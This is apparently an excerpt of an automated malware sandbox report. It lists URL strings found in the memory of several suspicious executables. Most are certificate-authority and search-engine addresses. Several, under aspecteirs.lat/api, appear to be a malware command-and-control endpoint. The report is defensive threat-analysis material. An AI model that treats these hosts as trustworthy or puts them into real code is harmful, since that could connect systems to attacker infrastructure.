Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3054152585.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3031777892.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3072818160.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3033029849.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2905728605.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3166299670.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2905972651.00000000008D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft.#6KOp
Source: ANEDNjf.exe, 0000000D.00000003.2906709258.0000000005416000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2994768338.0000000003B8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Dh5yvWY.exe, 0000002B.00000002.3106984157.000000000040A000.00000004.00000001.01000000.00000014.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: Dh5yvWY.exe, 0000002B.00000002.3106984157.000000000040A000.00000004.00000001.01000000.00000014.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: skotes.exe, 00000005.00000002.3352179189.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000005.00000002.3352179189.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: Dh5yvWY.exe, 0000002B.00000002.3106984157.000000000040A000.00000004.00000001.01000000.00000014.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: ANEDNjf.exe, 0000000D.00000003.2906709258.0000000005416000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2994768338.0000000003B8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: ANEDNjf.exe, 0000000D.00000003.2906709258.0000000005416000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2994768338.0000000003B8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Dh5yvWY.exe, 0000002B.00000002.3106984157.000000000040A000.00000004.00000001.01000000.00000014.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: Dh5yvWY.exe, 0000002B.00000002.3106984157.000000000040A000.00000004.00000001.01000000.00000014.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: ANEDNjf.exe, 0000000D.00000003.2906709258.0000000005416000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2994768338.0000000003B8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: ANEDNjf.exe, 0000000D.00000003.2906709258.0000000005416000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2994768338.0000000003B8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Dh5yvWY.exe, 0000002B.00000002.3106984157.000000000040A000.00000004.00000001.01000000.00000014.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: Dh5yvWY.exe, 0000002B.00000002.3106984157.000000000040A000.00000004.00000001.01000000.00000014.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: skotes.exe, 00000005.00000002.3352179189.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000005.00000002.3352179189.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: kf5cl0F.exe, 00000006.00000002.2859972775.0000000002A79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://github.com
Source: kf5cl0F.exe, 00000006.00000002.2859972775.0000000002A79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://github.comd
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3032453797.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2993832347.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3072091986.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2971662894.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3054002283.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3170718454.0000000003AFC000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965390533.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3029670906.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3157549664.0000000003AFB000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2964797913.0000000003AF8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3027879665.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965308553.0000000003B01000.00000004.00000800.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253458147.0000000001335000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3256965935.0000000001312000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3257112045.000000000134D000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3257112045.0000000001335000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253458147.000000000134D000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253729974.0000000001312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/gsr1.crt0-
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3032453797.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2993832347.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3072091986.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2971662894.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3054002283.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3170718454.0000000003AFC000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965390533.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3029670906.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3157549664.0000000003AFB000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2964797913.0000000003AF8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3027879665.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965308553.0000000003B01000.00000004.00000800.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253458147.0000000001335000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3257112045.000000000134D000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3257112045.0000000001335000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253458147.000000000134D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/r4.crt0
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3032453797.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2993832347.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3033029849.00000000008B3000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3072091986.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2971662894.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3054002283.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3170718454.0000000003AFC000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965390533.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3029670906.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3157549664.0000000003AFB000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2964797913.0000000003AF8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3027879665.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3031777892.00000000008B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/we1.crt0
Source: d274ed0757.exe, 0000002F.00000003.3253458147.0000000001335000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3257112045.0000000001335000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253458147.000000000132B000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3257112045.000000000132C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/we1.crt03
Source: Dh5yvWY.exe, 0000002B.00000002.3106984157.000000000040A000.00000004.00000001.01000000.00000014.sdmp, Dh5yvWY.exe, 0000002B.00000000.3072639025.000000000040A000.00000008.00000001.01000000.00000014.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000008.00000002.2721573085.0000000005CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2765990104.00000000060F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: d274ed0757.exe, 0000002F.00000003.3253458147.0000000001335000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3257112045.0000000001335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://o.pki.P
Source: d274ed0757.exe, 0000002F.00000003.3253458147.0000000001335000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3257112045.0000000001335000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253458147.000000000132B000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3257112045.000000000132C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://o.pki.goog/s/we1/NyI0%
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3032453797.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2993832347.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3033029849.00000000008B3000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3072091986.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2971662894.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3054002283.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3170718454.0000000003AFC000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965390533.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3029670906.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3157549664.0000000003AFB000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2964797913.0000000003AF8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3027879665.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3031777892.00000000008B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://o.pki.goog/s/we1/bzo0%
Source: Dh5yvWY.exe, 0000002B.00000002.3106984157.000000000040A000.00000004.00000001.01000000.00000014.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: ANEDNjf.exe, 0000000D.00000003.2906709258.0000000005416000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2994768338.0000000003B8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Dh5yvWY.exe, 0000002B.00000002.3106984157.000000000040A000.00000004.00000001.01000000.00000014.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: Dh5yvWY.exe, 0000002B.00000002.3106984157.000000000040A000.00000004.00000001.01000000.00000014.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: Dh5yvWY.exe, 0000002B.00000002.3106984157.000000000040A000.00000004.00000001.01000000.00000014.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: ANEDNjf.exe, 0000000D.00000003.2906709258.0000000005416000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2994768338.0000000003B8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: skotes.exe, 00000005.00000002.3352179189.0000000001286000.00000004.00000020.00020000.00000000.sdmp, Dh5yvWY.exe, 0000002B.00000002.3106984157.000000000040A000.00000004.00000001.01000000.00000014.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: Dh5yvWY.exe, 0000002B.00000002.3106984157.000000000040A000.00000004.00000001.01000000.00000014.sdmp	String found in binary or memory: http://ocsp.sectigo.com0?
Source: powershell.exe, 0000000B.00000002.2754644039.00000000051E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: kf5cl0F.exe, 00000006.00000002.2859972775.0000000002ABB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com
Source: kf5cl0F.exe, 00000006.00000002.2859972775.0000000002ABB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.comd
Source: powershell.exe, 00000008.00000002.2718542156.0000000004D95000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2754644039.0000000005257000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: kf5cl0F.exe, 00000006.00000002.2859972775.00000000029D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2718542156.0000000004C41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2754644039.0000000005091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.2718542156.0000000004D95000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2754644039.0000000005257000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: b97918e852.exe, 0000000F.00000002.3347870343.0000000000423000.00000002.00000001.01000000.0000000F.sdmp, b97918e852.exe, 0000000F.00000003.2883316497.00000000009B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
Source: powershell.exe, 0000000B.00000002.2754644039.00000000051E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3167457558.0000000000FD2000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://www.enigmaprotector.com/
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3167457558.0000000000FD2000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://www.enigmaprotector.com/openU
Source: ANEDNjf.exe, 0000000D.00000003.2906709258.0000000005416000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2994768338.0000000003B8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: ANEDNjf.exe, 0000000D.00000003.2906709258.0000000005416000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2994768338.0000000003B8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: ANEDNjf.exe, 0000000D.00000003.2858410537.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858547574.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858333098.000000000539B000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937155557.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937367783.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2936940880.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000008.00000002.2718542156.0000000004C41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2754644039.0000000005091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: Sibuia.exe, 0000002C.00000002.3099779712.0000000000739000.00000002.00000001.01000000.00000016.sdmp, Sibuia.exe, 0000002C.00000000.3078840002.0000000000739000.00000002.00000001.01000000.00000016.sdmp	String found in binary or memory: https://apreltech.com/SilentInstallBuilder/Doc/open
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3072433069.0000000000921000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2905829208.0000000000899000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3167045528.0000000000921000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3157638003.0000000000921000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3170970776.0000000003B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aspecteirs.lat/
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3167045528.0000000000921000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3157638003.0000000000921000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aspecteirs.lat/%
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3031777892.0000000000911000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3072433069.0000000000921000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3032133957.000000000091C000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3032855486.000000000091D000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3167045528.0000000000921000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3157638003.0000000000921000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aspecteirs.lat/9
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3170970776.0000000003B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aspecteirs.lat/Gy0j
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3072581443.0000000003B12000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3027284078.0000000003B10000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2993694525.0000000003B06000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3031584011.0000000003B10000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3028153685.0000000003B10000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3053687556.0000000003B12000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2999201743.0000000003B10000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3170970776.0000000003B12000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2994956724.0000000003B10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aspecteirs.lat/X
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2905728605.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3157638003.000000000092D000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2905972651.00000000008D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aspecteirs.lat/api
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3031777892.0000000000911000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3032133957.000000000091C000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3032855486.000000000091D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aspecteirs.lat/apicked
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2905728605.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2905972651.00000000008D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aspecteirs.lat/apip
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3031777892.0000000000911000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3072433069.0000000000921000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3032133957.000000000091C000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3032855486.000000000091D000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3167045528.0000000000921000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3157638003.0000000000921000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aspecteirs.lat/x
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2905728605.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2905972651.00000000008D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aspecteirs.lat/y5
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3072818160.00000000008BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aspecteirs.lat:443/apiORITY
Source: ANEDNjf.exe, 0000000D.00000003.2908849694.00000000053E4000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3027879665.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: ANEDNjf.exe, 0000000D.00000003.2930667070.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2956903146.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3027879665.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: ANEDNjf.exe, 0000000D.00000003.2858410537.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858547574.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858333098.000000000539B000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937155557.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937367783.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2936940880.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: ANEDNjf.exe, 0000000D.00000003.2858410537.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858547574.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858333098.000000000539B000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937155557.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937367783.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2936940880.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: ANEDNjf.exe, 0000000D.00000003.2858410537.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858547574.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858333098.000000000539B000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937155557.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937367783.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2936940880.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
